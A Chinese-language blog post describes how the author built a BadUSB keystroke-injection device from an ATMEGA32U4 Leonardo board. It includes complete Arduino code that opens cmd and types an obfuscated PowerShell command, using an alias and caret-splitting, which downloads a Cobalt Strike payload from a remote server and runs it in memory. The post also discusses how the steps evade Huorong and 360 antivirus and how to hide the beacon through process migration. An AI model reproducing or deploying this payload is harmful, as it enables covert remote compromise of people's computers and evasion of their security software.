之前在某公众号看到一篇关于 Badusb 做近源渗透的文章,之前看过很多的这类设计。本质上 Badusb 就是用一个单片机模拟出一个键盘,通过键盘键入恶意指令,可以绕过防火墙和不少杀毒软件。
由于自己设计太麻烦了,芯片虽然是有现成的,但是还要买装芯片的壳之类的,太麻烦了。反正只是研究的作用,就某宝上买了一个现成的。
我买的芯片是 Leonardo USB ATMEGA32U4,金属外壳的比较好看捏,这个主控主要的问题是 Flash 太小了,刷的东西多一点都装不下(不过好像也就写个 shell 进去麻,不用写太多东西)
程序在 Arduino 中编写
这里参考了某公众号上的 Payload,用 alias 别名和 ^ 拼接绕过,在代码上还做了一点修改。
步骤变成了
Win+M(最小化)->Win+R(运行)->按下CapsLock锁定大小写->输入CMD->输入PAYLOAD
最小化可以避免把 payload 输进其他应用,大小写锁定主要为了避免中文输入法干扰
void setup() { Keyboard.begin(); delay(4500); Keyboard.press(KEY_LEFT_GUI); delay(200); Keyboard.press('m'); delay(200); Keyboard.release(KEY_LEFT_GUI); Keyboard.release('m'); delay(200); Keyboard.press(KEY_LEFT_GUI); delay(200); Keyboard.press('r'); Keyboard.press(KEY_CAPS_LOCK); Keyboard.release(KEY_CAPS_LOCK); delay(500); Keyboard.release(KEY_LEFT_GUI); Keyboard.release('r'); delay(500); Keyboard.println(F("cmd")); delay(1000); Keyboard.println(F("cmd /c echo set-alias -name xz -value IEX;x^z (New-Object \"NeT.WeBClienT\").d^o^w^n^l^o^a^d^s^t^r^i^n^g('ht'+'tP://192.16'+'8.239'+'.249'+'/1') | p^o^w^e^r^s^h^e^l^l -")); Keyboard.press(KEY_CAPS_LOCK); Keyboard.release(KEY_CAPS_LOCK); Keyboard.end(); } void loop() { }
关于 url 为什么是 http://192.168.239.249/1,要 / 1 用数字不是其他字母呢。
由于 CapsLock 按键可能原本就是按下的状态,你再按下一次就关掉了,但是如果没有输入法的影响还是可以正常输入的,而 url 的目录是大小写敏感的,我们则使用数字来确保目录是可以访问到的。
这里的 powershell 的 payload 是从服务器上下载的 CS 负载,下载后在内存中运行也可以免杀的效果。
但是这样还不够,这样可以绕过火绒和 360,但是连 Windows Defender 都过不了,不懂。
Cobalt Strick 的 PowerShell 免杀
运行效果如图
由于 Windows Defender 好像还会监控流量(不过尽早迁移就可以了),并且这么大一个黑框和命令能让人不害怕吗,很快就会被人关掉,所以我用了插件使得他会自动迁移,更具体的会写在 Cobalt Strick 的 PowerShell 免杀。
至此 Badusb 完成了他近源渗透中光荣的一声被当成坏掉的 u 盘丢进垃圾桶了。
badusb 使用倒不困难,困难的还是如何做好 PowerShell 的免杀。